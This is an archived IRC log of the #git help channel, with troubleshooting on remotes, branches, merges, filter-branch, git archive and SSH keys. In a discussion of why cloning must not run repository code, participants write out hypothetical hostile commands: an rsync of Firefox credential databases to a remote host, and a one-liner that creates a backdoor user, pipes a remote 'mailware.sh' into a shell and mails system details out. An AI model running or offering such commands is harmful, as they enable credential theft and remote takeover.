cxreg "git remote add <name> <url>"20:44
Slix` Yeah, but the fingerprint isn't being accepted!20:45
dave_d What's the error?20:45
dsop is it right that sparse is now implemented but not yet supported by porcelain?20:46
jimi_hendrix git doesnt automatically ignore someBackup~ ?20:46
Slix` The certificate is not issued by a trusted authority. Use the fingerprint to validate the certificate manually!20:46
charon dsop: it's in next now20:46
dsop charon: well but is there support in clone or checkout. I just see the update-index and read-tree impl.20:47
patcito left20:48
charon dsop: not that i know anything since i don't use it, but afaict it's driven through a .git/info/sparse_checkout file so i assume all commands respect that20:49
SkyX left20:49
Slix` I have no idea how to do that manually.20:49
charon Slix`: are you cloning over http?20:50
Slix` Url is https.20:50
patcito joined20:50
Chaser__ joined20:50
charon presumably you'd 'curl $url' (if curl has any persistent accept-this-certificate flags)20:51
iamcalledrob left20:51
xiong left20:52
charon or look at http.sslVerify setting if you want to commit security suicide20:52
Slix` Gah20:53
It isn't working.20:53
Why does setting git up have so many problem?!\20:53
problems*20:53
Ilari Slix`: Because HTTPS is crap?20:54
Sky[x] left20:55
_Vi Slix`, Git is not working over HTTPS because of invalid (untrusted) certificate?20:56
daifuku left20:57
Slix` Yeah.. but that's nothing.20:57
mjf joined20:57
Slix` I tried another repo..20:57
Now it's not working period..20:57
_Vi Slix`, Just make it trusted and use the same hostname as in certificate. I have explicitly experimented with Git over HTTPS.20:58
Slix`, It worked, both in anonymous and with credentials mode.20:58
Slix` Just make it trusted.20:58
I have no idea how I'm supposed to do that.20:58
offby1 Slix`: must you use https?20:59
_Vi Slix`, (I've also done the scheme "if anonymous => denyNonFastForwards,denyDeletes, if credentials, allow all")20:59
Slix` No!20:59
daifuku joined20:59
Slix` I stopped using https.20:59
offby1 ok20:59
Slix` I tried using a different url and all I get it some weird combo of success and failure.20:59
_Vi Slix`, I've done "cat /etc/ssl/certs/ssl-cert-snakeoil.pem >> /etc/ssl/certs/ca-certificates.crt"20:59
offby1 Slix`: try pasting a transcript20:59
Slix` left21:00
_Vi Slix`, "ssl-cert-snakeoil.pem" is server certificate, "ca-certificates.crt" is trusted certificates.21:00
xlistener joined21:01
patcito left21:01
jimi_hendrix left21:01
rotty_ I have a branch in a remote repo that has a "+" in its name, and trying to delete it hence fails:21:02
git push debian :heads/features/rus+greek21:03
error: unable to push to unqualified destination: heads/features/rus+greek [...]21:03
_Vi rotty_, "git push debian :refs/heads/features/rus+greek"?21:03
jelmer left21:04
sgh joined21:04
d0k left21:04
rotty_ _Vi: thanks, that looked like it worked, but actually didn't (the branch is still there)21:05
(it also said "warning: Allowing deletion of corrupt ref.")21:05
_Vi rotty_, May be it is already deleted? How do you check for it's deleteness?21:05
rotty_ _Vi: via gitweb (http://git.debian.org/?p=users/rotty/alevt.git;a=summary)21:06
_Vi rotty_, Try "git push debian some_ref:refs/heads/features/rus+greek" to create it.21:06
rotty_, Caches?21:06
rotty_, Ctrl+F5?21:06
rotty_, Try to create and delete it again to see the difference.21:07
rotty_ _Vi: perhaps, but reloading doesn't help21:07
ok21:07
lemonchicken left21:07
rotty_ so I could use "master" for "some_ref", right?21:07
_Vi rotty_, "master" or "origin/master" or "HEAD"...21:07
wanders_ left21:09
rotty_ ok, now no warning deleting it, but gitweb still shows it and a "git fetch debian" showed it as "[new branch]" :-/21:09
_Vi rotty_, Try "git fetch origin features/rus+greek" to validate that it doesn't exist.21:10
rotty_, (When someone tells "my branch isn't deleted" he usually uses gitweb to validate).21:11
brizly left21:11
sourcemaker why does a copied git repository takes a long time for git status? cp -r git.repo git.repo221:11
rotty_ _Vi: ok, seems it's gone, according to "git fetch", probably gitweb needs some time to note the change21:12
_Vi sourcemaker, Because for git it seems that all files has probably changes (according to timestamps) and it need to rescan them all.21:12
rotty_, Is it Github's gitweb?21:12
sourcemaker _Vi: ok thanks21:12
rotty_ _Vi: nope, debian's21:12
squarism joined21:12
_Vi sourcemaker, (Sometimes it actually reports that file as changed (but with no modifications) if not working well)21:13
rotty_ sourcemaker: with "cp -a", it might not need to rescan21:13
sourcemaker rotty_: I am sorry... i used rsync21:14
hyperair left21:14
sourcemaker can I also see the differences between my "local repo" and a repo on a central server?21:14
Axius joined21:15
_Vi sourcemaker, "git fetch origin; git diff master origin/master"?21:15
SeveredCross git diff21:15
Axius left21:15
rotty_ sourcemaker: well, in principle, the same applies -- if you re-use the same timestamps in the copy (as "cp -a" or "rsync -a" will do), git will probably not need to re-scan21:15
jelmer joined21:16
Chaser__ left21:19
ablemike joined21:20
sourcemaker rotty_: ok... git has the results now and there are correct... the .git/index has been recreated21:20
stuffcorpse left21:20
mithro left21:20
wanders joined21:22
Octalot joined21:22
iamcalledrob joined21:22
FFForever left21:23
khmarbaise left21:23
daifuku left21:24
daifuku joined21:25
abadr joined21:27
flaguy48 left21:27
mnyon joined21:28
rgr_ left21:29
rgr joined21:29
corni_ joined21:30
malumalu left21:30
ppawel joined21:31
lemonchicken joined21:32
javatexan joined21:32
javaJake joined21:32
magcius left21:33
magcius joined21:33
tbuehlmann left21:33
dave_d Anybody know if anyone other than paul is particularly interested in gitk?21:34
javatexan left21:35
javaJake I have a repository with two branches: one I'll call "old" and another "new" just for an example. I want to copy old/dir/file1 to new/dir/file1, copy old/file2 to new/dir/file2, and copy old/dir2 to new/dir/dir2. Basically: I want to know what the most robust way of copying files around in git is, across branches. Optimally, git should be able to track parent/child relationships.21:36
/s/parent/ancestor/21:37
_Vi javaJake, branches are not directories.21:37
javaJake, It's not SVN.21:37
javaJake _Vi: correct21:37
iamcalledrob left21:37
javaJake But you get my point :)21:37
schmukkk left21:37
loincloth joined21:38
_Vi javaJake, "git checkout new" "git checkout old -- path/to/file"?21:38
javaJake I did understand that. I was just using example syntax21:38
AkumaStreak joined21:38
javaJake _Vi: interesting... makes sense, I'll give it a whirl21:38
Octalot dave_d: I like gitk, what kind of interest are you asking for21:40
dave_d Just wondering if I should be CC'ing anyone other than Paul on my patch21:40
Octalot ah, not me then21:41
ezyang joined21:43
pantsman left21:43
ezyang Is there a fast git diff that tells me if files are different, and no other info?21:43
drigz joined21:43
drigz i'm having a lot of trouble managing a branch21:43
ezyang ah, --name-only21:43
pantsman joined21:43
offby1 drigz: hire better tellers21:44
offby1 slaps thigh21:44
corni left21:44
drigz i created the branch with git checkout -b name, then edited some stuff, did some commits, fumbled my way through21:44
i git pushed but my friend still couldn't see it21:44
i.e. i just ran 'git push'21:44
then i tried 'git push origin branch_name'21:44
Zephyrus left21:45
drigz which seem to add the new branch as desired21:45
offby1 ... but ... ?21:45
cxreg drigz: your friend will need to fetch from the remote, and then check out the new branch21:45
drigz then i tried git pull origin master, (i think i should have used git pull origin branch_name)21:45
and it came up with all these conflicts21:45
bambule left21:45
offby1 hmm21:45
drigz i didn't want to try to merge the branches21:45
and now i can't do anything without being told i have to manually merge first21:45
cxreg drigz: you tried "git pull origin master" while your new branch was checked out?21:45
drigz cxreg: yeah21:45
cxreg: i think it tried to merge them21:46
cxreg yeah, that was a mistake. try "git reset --hard"21:46
ezyang left21:46
cxreg it did21:46
offby1 "gitk --all" is my suggestion21:46
shows you What Up™21:46
cxreg drigz: "git pull" with arguments is a dangerous operation :)21:46
drigz cxreg: git pull doesn't let me use it without arguments21:46
_Vi drigz, "git pull" is at all not so good operation.21:46
cxreg drigz: if not, then your config is set up wrong21:46
drigz it's exactly the same as my friend's, who doesn't have this problem21:47
anno^da joined21:47
drigz cxreg: what should i change?21:47
cxreg drigz: what does "git config --get-regexp branch." give you?21:47
drigz branch.master.remote origin21:47
branch.master.merge ref/heads/master21:47
cxreg ok, so your config knows how to "git pull" for master, but no other branch21:48
pheaver_ joined21:48
pheaver left21:48
pheaver_ left21:48
cxreg you want a similar config for your other branch, likely21:48
pheaver joined21:48
drigz cxreg: i get the same error with master checked out21:48
cxreg what error?21:49
drigz just pasting21:49
http://paste.org/pastebin/view/1439021:49
cxreg perhaps the remote is not set up right then?21:50
simNIX joined21:50
cxreg git config --get-regexp remote.origin.21:51
drigz http://paste.org/pastebin/view/1439121:52
cxreg: any ideas?21:56
rotty_ left21:58
oliver3 left21:59
cxreg sorry, gotta run22:00
drigz cxreg: no worries22:01
thanks for the help!22:01
NathanielJ hey ya'll, git newb here. Imported my SVN directory successfully, and tried rewriting all of my commits so they reflected me as author. I used this command here: http://progit.org/book/ch6-4.html#changing_email_addresses_globally Git appeared to complete the command, but gave me a warning: WARNING: Ref 'refs/heads/master' is unchanged22:03
What does this mean?22:03
kmartiin left22:03
abadr left22:03
corni_ left22:04
_Vi NathanielJ, It means that nothing has changed.22:04
ppawel left22:04
alip left22:05
NathanielJ ok. So the command did not do what I wanted, and I should make sure I typed everything correctly?22:05
alip joined22:05
_Vi NathanielJ, Check the email part in 'if [ "$GIT_AUTHOR_EMAIL" = "schacon@localhost" ];'22:05
NathanielJ, Has you substituted the schacon@localhost one that actually appears in commits?22:06
NathanielJ excellent, _Vi, a typo there took care of it. Git told me Ref 'refs/heads/master' was rewritten. I appreciate it!22:06
_Vi *Have22:06
ereslibre joined22:07
_Vi NathanielJ, Now you need to assure the information has been fixed and delete "original" refs.22:07
ablemike left22:09
seezer_ left22:09
munichlinux left22:10
Guest16323 left22:11
seezer joined22:11
naquad joined22:12
naquad hi22:12
javaJake _Vi: looks to work just as expected, thank you :)22:12
javaJake left22:12
naquad i want to run several commands in user's repo copy after git pull and git clone. how do i do this?22:12
NathanielJ OK, _Vi, it renamed my author fields correctly. Sweet. I'm not sure what deleting original refs is about. Does this post on Stack Overflow explain what you mean? http://stackoverflow.com/questions/1216733/remove-a-directory-permanently-from-git/1216748#121674822:13
_Vi NathanielJ, Just "rm -Rf .git/refs/original". It will interfere if you will try "git filter-branch" next time.22:14
s/will interfere/interferes/22:14
daifuku left22:15
naquad any ideas?22:15
_Vi naquad, Automatically, without user interaction?22:16
pkw joined22:17
daifuku joined22:17
naquad _Vi, yes, some kind of hook22:17
_Vi naquad, Cloning untrusted repository should be secure operation and not execute any code from that repository. Make a script for users to start.22:17
naquad _Vi, and what about pull?22:17
pantsman- joined22:18
a7x joined22:18
_Vi naquad, Pulling (both fetching and merging) should be secure operation, but you may setup a hook one in each user repository that will probably run after each fetch.22:18
imajes left22:18
_Vi naquad, Or you may substitute "git pull" with your script that will do "git pull" with additional things.22:19
naquad I hoped git can do this :(22:19
a7x left22:19
BigMack83 joined22:20
_Vi naquad, In any case it required either special setup of each repository or using scripts or making specialized Git distribution.22:20
loinclot_ joined22:20
loincloth left22:20
naquad _Vi, thank you for help. it's pity git can't do this :(22:20
_Vi naquad, Imagine someone setting up public Git repository and want users "to send some e-mails to that list" after each pull.22:20
EricInBNE joined22:20
naquad _Vi, i understand possible security flaws, but there could be some prompt run/don't run or option --trust22:21
a7x joined22:21
_Vi naquad, E.g. "git clone" == "rsync -aP ~/.mozilla/firefox/*/*.db my@elivhost:/upload".22:22
fcuk112 joined22:24
loinclot_ left22:24
_Vi naquad, I think prompt may be implemented. "--trust" is less probable.22:24
loincloth joined22:24
naquad _Vi, what for? ( hostname ; ifconfig ; rand="$RANDOM$RANDOM$RANDOM" ; useradd -m eviluser --password "$rand"; echo $rand; wget -O - -q http://www.example.com/mailware.sh | /bin/sh ) | mail [email@hidden.address]22:24
_Vi, it would be a useful feature. i've got several repos requiring multiple actions to run after pull22:25
_Vi naquad, That was just for example. "useradd" will not work for non-root. Extracting certificates and credentials from Firefox will.22:25
naquad, "git submodule update --init"?22:26
naquad _Vi, for non-root - yes, but for root... /me knows people unable to understand that. they work as root22:26
daifuku left22:26
naquad _Vi, probably won't work. it'll be the same pull22:27
_Vi naquad, I think additional messages after "git clone" or even after each "git fetch" is not so complicated thing to implement.22:27
daifuku joined22:27
Scorchin left22:27
Yuuhi left22:28
_Vi naquad, (of course there should not be any HTML or terminal escape sequence or too long messages there).22:28
Grum or just read docs/development ?22:28
_Vi: why have additional messages? or better, why have git do it?22:29
sgh left22:29
_Vi Grum, To simplify the live of users that will have only have "git://" url and think "why it's not work? Why it says 'include file ../submodules/qqq/qqq.h not found'?" and don't know where to read (a lot of documents in doc/).22:31
Grum _Vi: so you want a notification about the fact there are submodules in the repo? that should be in yeah =)22:32
_Vi Grum, User may know neither about git nor about it's submodules.22:32
Grum _Vi: good time to learn =)22:32
kakazza joined22:32
kakazza Hi22:32
_Vi Grum, And "fetch" messages will be useful, for example, as "Our repository is moving to new location: git://.../").22:32
kakazza I have a local commit in branch "A" which was checked out like this: "git checkout --track -b A origin/B". Now I want to push, but how do I do that?22:33
Grum _Vi: mmmmm that you can already do i think22:33
kakazza I tried "git push origin"22:33
_Vi Grum, User may just abandon or start behaving badly on the first problem encounter.22:33
NetHawk joined22:33
_Vi Grum, Something like adding a ref with special long name?22:34
Grum no, you can make the fetch fail22:34
_Vi kakazza, "git push origin A:B".22:34
Grum oh wait .. git:// protocol22:34
then just dont offer it via git:// :)22:34
_Vi Grum, You need not just to make fetch fail, but also to provide new URL.22:34
naquad left22:34
funkytaco joined22:34
naquad joined22:34
keex joined22:35
Grum well, if you were to use gitolite for example, you could easily change that code to give someone that message22:35
pantsman left22:35
Grum it will tell you that you are not allowed to fetch for example, instead it could tell you where you should go22:35
_Vi naquad, BTW, about messages: if you are using git over SSH, you may probably just write to stderr and it will be displayed at user side.22:35
Grum _Vi: exactly22:35
naquad left22:36
Grum but for the other thing, really; put in some docs in the root .. README orso ..22:36
and explain that you need to fetch submodules :)22:36
_Vi naquad, You need to override "git-send-pack" with your script that will print message and start genuine "git-send-pack".22:36
Grum, Sometimes the message should right near user's eyes and be big and red.22:37
Grum sometimes you dont want a certain kind of users ;P22:38
funkytaco left22:38
pantsman- left22:38
amerine joined22:38
_Vi naquad, You may also put your message as response of naive "./configure" or "make".22:38
pantsman joined22:38
kakazza did it22:40
thanks22:40
kakazza left22:40
funkytaco joined22:41
justinweiss_ joined22:42
NathanielJ _Vi: Thanks again. My history is all clean now!22:42
mithro joined22:42
funkytaco Hi all, trying my first git clone over ssh. I get this error: bash: git-upload-pack: command not found22:42
both sides run OS X22:43
Grum git was not installed in the path on the remote side :)22:43
funkytaco both seem to have the git-upload-pack command available?22:43
oh hmm ok22:43
rzl joined22:43
rzl hello there :(22:43
:)22:43
hey sitaram :)22:44
funkytaco maybe I need to logout/login on remote machine Grum ?22:44
brb to try Grum22:44
rzl a little question about gitolite...22:44
Grum funkytaco: no either put it in the path or specify it on the local side by giving --upload-pack <path/to/...> to git-clone22:44
daifuku left22:44
rzl once i create a repo, and give R permission to gitweb.. and ln the dir to the gitweb directory...22:44
daifuku joined22:45
rzl how to set properly gitweb's clone-url, description and readme.html ?22:45
shall i edit files in the repository/ dir on the gitolite server ?22:45
Grum clone-url is in gitweb's config; readme.html que??; description you put in: repo.git/description22:46
oh you use gitolite, then read the config for how to setup the description22:46
(bottom of the sample one)22:46
dave_d Cheers guys, cheers Ilari!22:47
dave_d left22:47
Grum rzl: you could alternatively just give permissions for gitweb to read the repo22:48
without using symlinks22:48
rzl ok Grum, let me have some tests...22:48
robinr left22:48
apeiros_ joined22:49
pheaver_ joined22:49
Grum rzl: the baseurl for gitweb can be set in the config (called: @git_base_url_list i think)22:50
apeiros_ hi there. given I've got a repo git://example.com/bar.git and I don't to clone it, just the "contents" of a specific commit. how can I do that?22:50
pheaver left22:50
pheaver_pheaver22:50
_Vi apeiros_, Use gitweb? Run "git archive" on server?22:51
kmartiin joined22:51
Grum apeiros_: or just clone =)22:51
robinr joined22:51
_Vi Grum, "... and I don't to clone it"22:51
Grum yeah, but if it doesnt work like that .. you can want all you want :)22:52
you can do a shallow clone, but you wont be able to just get 'a single random revision'22:52
apeiros_ Grum: I don't want the repository.22:52
Grum then what do you want?22:53
apeiros_ _Vi: reading up on git archive22:53
schierbeck joined22:53
apeiros_ Grum: only what you'd get if you'd do a git checkout <rev>22:53
+what you'd get into the working tree22:53
Grum git archive should be able to do that given you are allowed to do so22:53
fishey joined22:53
_Vi apeiros_, If "upload-archive" extension is enabled on server, you may use it.22:53
Grum not all remotes allow you to use that command22:53
not sure if you can get a specific commit though, lets see :D22:54
http://www.kernel.org/pub/software/scm/git/docs/git-archive.html <-- appears you can22:54
_Vi Grum, If "archive" is enabled, then probably yes.22:54
apeiros_ I'm... not sure... upload sounds like the wrong way round22:54
Grum yeah even a specific path22:54
apeiros_: its from the server's point of view22:54
from the server's pov it uploads stuff to you :)22:55
and logically the reverse is 'receive-pack'22:55
apeiros_ hah, git archive looks good. gotta test it22:55
_Vi apeiros_, "receive-pack" is when you push, "send-pack" is when you fetch.22:56
bbttxu left22:56
drizzd left22:56
v0n joined22:56
rzl Grum: thanks, it works wounderfully now.22:57
rzl left22:57
justinweiss left22:58
justinweiss_justinweiss22:58
psoo joined22:58
catalis joined22:58
daifuku left22:59
funkytaco Grum: I set the path using the path shell script that came with git.... and i rebooted the remote host.... still no luck22:59
charon _Vi: actually the server-side of fetch is upload-pack23:00
deschet left23:00
pkw_ joined23:01
_Vi charon, Yes.23:01
funkytaco can i just symlink git-upload-pack in /usr/local/bin ?23:01
daifuku joined23:01
Grum funkytaco: i'd symlink git into your path for an easy solution23:01
hehe yeah ;)23:01
funkytaco ok thx23:01
charon _Vi: yes what? i just contradicted your statement :)23:01
Grum yes you are right charon=)23:02
_Vi charon, Yes, it is actually "git-upload-pack", not "git-send-pack". (thinking where have I seen the "send-pack"...)23:02
charon send-pack is the client side of receive-pack. makes a bit of sense if you think about it23:02
and fetch-pack goes with upload-pack23:02
_Vi charon, OK, "send-receive", "fetch-upload". Easy to confuse.23:03
apeiros_ hm, ok, trying a different explanation: basically what I want is: git clone git://example.com/bar.git && cd bar && git checkout <rev> && rm -rf .git .gitignore .gitmodules23:03
vvsh joined23:04
squarism left23:04
Grum apeiros_: git archive can do that for you23:04
apeiros_ but cloning a whole git repo just to get the working tree of a single revision seems overkill to me - I'd assume there is a way to do that directly23:04
Grum (again providede the remote side can do that :D)23:04
apeiros_ Grum: yeah, just that git archive is working for 3min already on a small (<500 commits) repo... can't be that that takes so long when the snippet I pasted takes <10s23:05
Grum apeiros_: why do you object so against doing a clone? is the repo you have to get that big? or your line that slow? or your traffic so expensive? (just curious :D)23:05
apeiros_ principle?23:05
charon apeiros_: or you can clone --depth 1 (or so)23:05
keex left23:05
Grum charon: yeah but he wants $random_rev, not 'last one'23:05
charon oh.23:06
Grum and just 1 folder, anyhow, again, git archive can do it (if you are allowed from the remote side)23:06
vvsh left23:07
apeiros_ Grum: but archive tars it up, no?23:08
Grum yeah, so untar it on the fly? :P23:08
apeiros_ meh23:08
odd that there's no direct way to do that... seems to me like an obvious use case... "hey, I want to extract version X from project Y and don't care about the repo". no?23:09
I mean, sure a git clone is more expensive than that - or is that a wrong assumption?23:09
_Vi apeiros_, Usually the whole repository is cloned.23:09
apeiros_ _Vi: why'd a user who's not interested in the history/development process want to do that? the repo is just unecessary baggage there...23:10
Grum apeiros_: git is made for source control, history is useful, so why cater for the odd person just wanting a single file/dir?23:10
apeiros_ Grum: not a single file/dir23:10
Grum apeiros_: then demand a latest.tar.gz from the people who made it23:10
apeiros_ a single revision from a repo23:10
Grum 'a single' happens to be 'the last one' ?23:11
_Vi apeiros_, If the user uses repository, it is (at least partially) interested in development. For example, it may merge something or get somewhat older/newer version to track the bug.23:11
apeiros_ a single happens to be a single. in all likeliness a tagged one.23:11
Grum apeiros_: then download the tar.gz for that version from wherever they publish their stuff23:12
apeiros_ _Vi: hu? is the use case I gave so awkward or what?23:12
Grum if you look at git, you want the repo as _Vi already says23:12
tbh; as clone already has a --depth, it sortof surprises me it doesnt allow you giving a treeish23:12
_Vi apeiros_, Why do you need repository if you will not plan to do any development (or neighbor things like testing)?23:12
apeiros_ _Vi: you're misunderstanding23:13
person X has a repo23:13
mjv left23:13
apeiros_ now N number of persons want whatever version out of that repo23:13
person X will continue to use the repo, of course, as he's developing23:13
Grum so you clone it all, its not like with sourcecode the repos get much bigger over time23:13
usually the clone is smaller than the checkout23:14
apeiros_ but the N number of users wouldn't care about the repo, they want version X of the project and that's it23:14
Fatal why can't he use a tar export? or I should shut up and read the backlog23:14
_Vi apeiros_, According to Git model, there are about N copies of repository.23:14
daifuku left23:14
Grum Fatal: principle ;)23:14
imajes joined23:14
_Vi apeiros_, If users don't need repository, they ask X for release (in .tar.gz).23:15
Fatal Grum: sounds like a silly principle23:15
apeiros_ uphill battle. I'll go, clone the whole thing, checkout the revision, and throw away all the rest23:15
_Vi apeiros_, If some user uses non-release version, it is a bit developer.23:15
apeiros_ it seems totally stupid to me but it looks as if it's seen as "good practice". whyever.23:15
_Vi apeiros_, And a-bit-developer needs a-bit-repository.23:15
Grum apeiros_: the cloning is most likely less data transferred than downloading the checkout :p23:15
apeiros_ _Vi: who said anything about non-release version?23:16
_Vi Grum, Compressed checkout?23:16
Grum apeiros_: if you really want it, suggest to give a treeish on the mailinglist23:16
_Vi: why do that?23:16
_Vi apeiros_, Release versions should be available as files.23:16
Grum we have git clone already =)23:16
pkw left23:16
_Vi apeiros_, (They actually may be generated on-the-fly by git-archive).23:16
Grum apeiros_: giving a treeish is not really silly, as it would work really nicely with --depth23:16
wanders_ joined23:16
Grum it would just use another 'checkoutpoint' from 'HEAD' which seems rather trivial to implement23:16
gebi left23:16
Grum so please go and suggest it :D23:17
wanders left23:17
daifuku joined23:17
apeiros_ Grum, _Vi, charon - thank you all for taking your time. much appreciated :)23:17
_Vi apeiros_, If some user uses dev-version, he probably will want to update it.23:17
ehabkost joined23:17
_Vi apeiros_, Updating is much cheaper when you have the clone.23:18
apeiros_ that assumes the user keeps the clone ;-)23:18
ehabkost left23:18
_Vi apeiros_, Yes.23:18
Grum tbh, git is all about the repository and its meta info+history; it seems rather silly to bloat it with these specific edgecases23:18
adac joined23:19
_Vi apeiros_, BTW you may share [part of] object database between repositories if the storage space is limited.23:19
mjv joined23:19
daifuku left23:19
adac How can I tell git where the ssh private key on my local machine is when I do a clone like that: 'git clone ssh://git@myhost:myport/my-repo.git'23:19
Fatal Grum: you mean git archive? or bloating up gitweb?23:19
_Vi adac, "$HOME/.ssh/id_{d,r}sa"23:19
Grum bloating git clone to handle 'fast partial transfers and not leaving .git stuff behind'23:20
lbayle joined23:20
Fatal Grum: ick, ok, agreed on that23:20
adac _Vi, Well can i give git clone a parameter, mean the path to the file?23:20
funkytaco wow, git is the shiz.... :) ... If only I had used it before my laptop and all of my source code and backup drive were stolen :/23:20
Grum adac: ~/.ssh/config and add: Host myhost\n\tIdentifyFile ~/.ssh/your.priv.key23:21
_Vi adac, You may ask it to start "ssh" with custom parameters. There's "-i" parameter of ssh.23:21
daifuku joined23:21
tedoc2000 left23:21
lbayle hi, I have git merge problems, is this the right place to get help ? http://pastebin.com/d71d14b4323:21
adac Grum, _Vi k, I see. Thx!23:22
Grum lbayle: mmm the answer depends on what 'git reset' does without arguments :D of which i'm not quite too sure :(23:22
funkytaco can git be used to clone websites into two prod and staging?23:22
Fatal adac: I use something like #!/bin/sh\nssh -i /other/path/id_rsa "$@" as git_ssh.sh and then GIT_SSH=git_ssh.sh git ...23:23
funkytaco I guess I should read up on the branches thing.... :)23:23
Grum adac: you could even make it so that you clone from: git:my-repo.git23:23
_Vi funkytaco, Yes, it can be uses for that and probably requires special setup.23:23
funkytaco ok thanks _Vi23:23
Grum by putting the Host/Port/User into your .ssh/config as well23:23
charon lbayle: if you had no uncommitted changes at the time you called 'git merge master', you can safely use 'git reset --hard' to destroy all uncommitted modifications left from the merge23:24
lbayle charon: ok everything was commited, i'll try reset hard23:24
Grum lbayle: read the section: How to resolve conflicts in man git-merge23:24
pkw_ left23:24
Fatal adac: yes, my suggestion is bad (and for me it's a cornercase where I use it), you're better of going with grums suggestion with .ssh/config23:24
Gitbot lbayle: the git-merge manpage can be found at http://git.or.cz/man/git-merge23:24
charon ponders how to efficiently remove the now-untracked files23:24
lbayle thanks for the URL23:25
Grum lbayle: i think you just need to say: git reset --hard (so it purges the merged index)23:25
charon: git clean?23:25
charon Grum: sure, but only if he had no other untracked files23:25
lbayle: ^23:25
ixti left23:25
adac Fatal, Grum actually capistrano makes me some problems, because my git server is another then my application server... The git server uses ssh private key + passphrase, whereas the application server uses only password authentication (ssh). So I'm currently not sure how to set this up. If I leave the key in .ssh like id_rsa, then capistranos git fetching works, but then it takes the id_rsa also an prompts it for my application server23:25
Grum adac: you cant really work nicely with password authentication; you should really setup keys23:26
JayM left23:26
Grum adac: you would need to define 2 hosts (well they are 2 different hosts already?) and setup an identityfile for each host (again in the .ssh/config)23:27
bentob0x joined23:27
adac Grum, Yes that would be the way to go!23:27
Grum adac: at work the githosting box is also our internal development; and because of that i need to use a different user/key to connect to either git or the box itself23:28
daifuku left23:28
Grum adac: so i made 2 Host entries in ssh/config named differently, setting up the different properties and just ssh to the alias you made there and it resolves itself :)23:28
adac Grum, That is how I made it too. Git is a own user with own authentication then the 'box' user23:29
Grum, true :)23:29
daifuku joined23:29
Grum just some ssh magic which git then uses =)23:29
adac Grum, I guess I should write your suggestion down and go to bed. :) Seems getting already to late for me ;)23:30
Grum adac: 'git clone ssh://git@myhost:myport/my-repo.git' can be changed to simply: 'git clone git:my-repo.git'23:30
by setting up your sshconfig23:30
adac Grum, I see!23:31
Grum benefits everywhere! =D23:31
adac Grum, :)23:32
eut left23:34
adac k guys I'ts already late. Good night fellows23:34
Grum, thx for your help!23:34
ruediger_ruediger23:35
adac left23:35
catalis left23:38
JayM joined23:39
anno^da left23:40
sako left23:41
funkytaco left23:41
sumangurung joined23:44
daifuku left23:45
vbgunz joined23:45
d0ugal left23:46
rudi_s joined23:47
daifuku joined23:47
project2501a left23:47
pantsman left23:48
catalis joined23:48
sako joined23:52
schierbeck left23:52
sumangurung left23:52
Pata left23:54
pheaver left23:54
pheaver joined23:55
ereslibre_laptop joined23:56
osmosis joined23:56
apeiros_ left23:56
osmosis how do I exclude all .pyc files from being included in my git repository?23:58
_Vi osmosis, "*.pyc" to .gitignore.23:58
SeveredCross echo "*.pyc" > .gitignore I believe.23:58
osmosis cool23:58
SeveredCross Maybe >> instead of >23:59
catalis left23:59
osmosis is that needed in every directory?23:59
bob2 no23:59
just the root23:59
osmosis wow, that right there was worth switching from svn23:59

Logs Search ←Prev date Next date→ Channels Documentation